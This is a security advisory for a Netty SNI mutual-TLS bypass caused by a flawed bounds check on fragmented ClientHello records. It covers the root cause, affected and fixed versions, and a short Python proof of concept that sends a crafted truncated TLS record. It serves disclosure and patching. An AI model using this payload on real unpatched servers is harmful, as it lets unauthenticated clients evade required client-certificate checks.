criticalCVE-2026-75595Sep 8, 2026

CVE-2026-75595: Netty SslClientHelloHandler SNI mTLS Bypass via Fragmented TLS ClientHello

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A crafted, fragmented TLS ClientHello can trick Netty into silently skipping per-SNI certificate enforcement, letting an unauthenticated client connect where mutual TLS is required.

Packageio.netty:netty-handler
Ecosystemmaven
Affected>= 4.2.0.Final, <= 4.2.16.Final
Fixed in4.2.17.Final
CVE-2026-75595: Netty SslClientHelloHandler SNI mTLS Bypass via Fragmented TLS ClientHello

The problem

In io.netty.handler.ssl.SslClientHelloHandler#decode, the guard that should wait for a complete 4-byte handshake header uses the wrong offset. It checks readerIndex + 4 > endOffset instead of accounting for the preceding 5-byte TLS record header, so it never fires correctly.

When the first TLS record carries fewer than 4 bytes of handshake body, the subsequent call to in.getUnsignedMedium(readerIndex + SSL_RECORD_HEADER_LENGTH + 1) reads out of bounds and throws IndexOutOfBoundsException. The generic catch (Exception) block catches this and calls select(ctx, null), silently falling through to the default SslContext rather than the SNI-selected one.

Impact is a full mTLS bypass when three conditions are met together: the per-SNI context has clientAuth=REQUIRE, the default context is NONE or OPTIONAL, and no secondary application-layer cert check exists.

Proof of concept

A working proof-of-concept for CVE-2026-75595 in io.netty:netty-handler, with the exact payload below.

python
# Two TCP writes to the target TLS port.
# Write 1: TLS Handshake record (content type 0x16) with only 3 bytes of body,
#           so the 4-byte handshake header (type + 3-byte length) is incomplete.
# Write 2: anything (or nothing) -- the parser already crashed in write 1.
#
# Byte layout of write 1:
#   0x16        -- content_type = handshake
#   0x03 0x03   -- version = TLS 1.2
#   0x00 0x03   -- record length = 3 (fewer than the 4 bytes the parser needs)
#   0x01        -- handshake type = ClientHello (only 1 byte delivered)
#   0x00 0x00   -- 2 of the 3 handshake-length bytes (record ends here)
#
# Result: getUnsignedMedium(readerIndex + 6) reads the 3rd length byte
#         from outside this record -> IndexOutOfBoundsException
#         -> catch(Exception) -> select(ctx, null) -> default SslContext

import socket

def trigger(host, port):
    # Fragment 1: TLS record, 3-byte body -- handshake header intentionally truncated
    frag1 = bytes([
        0x16,        # content_type: handshake
        0x03, 0x03,  # version: TLS 1.2
        0x00, 0x03,  # record length: 3 bytes
        0x01,        # handshake type: ClientHello
        0x00, 0x00,  # first 2 of 3 handshake-length bytes (truncated)
    ])

    s = socket.create_connection((host, port))
    s.sendall(frag1)
    # Server's SslClientHelloHandler throws IOOBE, catches it,
    # calls select(ctx, null), and falls back to the default SslContext.
    # Continue TLS handshake normally -- no client cert required.
    print("Fragment sent. Server should now use default (non-mTLS) SslContext.")
    s.close()

trigger("target.example.com", 443)

The root cause is a missing SSL_RECORD_HEADER_LENGTH (5) addend in the bounds check at line 120 of SslClientHelloHandler.java. The buggy check readerIndex + 4 > endOffset treats readerIndex as already pointing past the record header, but it does not. The fix adds the 5-byte offset: readerIndex + SSL_RECORD_HEADER_LENGTH + 4 > endOffset, so the handler correctly waits for more data instead of proceeding into a partial read.

The secondary design flaw is that catch (Exception) around the parse loop silently calls select(ctx, null) on any parse error. A safer design would fail closed (drop the connection) rather than fall back to a permissive default context. CWE-754 (Improper Check for Unusual or Exceptional Conditions) and CWE-475 (Undefined Behavior for Input to API) both apply.

The fix

Upgrade to io.netty:netty-handler **4.2.17.Final** (4.x branch) or **4.1.137.Final** (4.1.x branch). The patch corrects the bounds check in SslClientHelloHandler#decode to include the 5-byte TLS record header offset before reading the handshake header. No configuration workaround is available for affected versions; upgrade is the only remediation.

Reported by violetagg.

References: [1][2][3][4][5][6]

Related research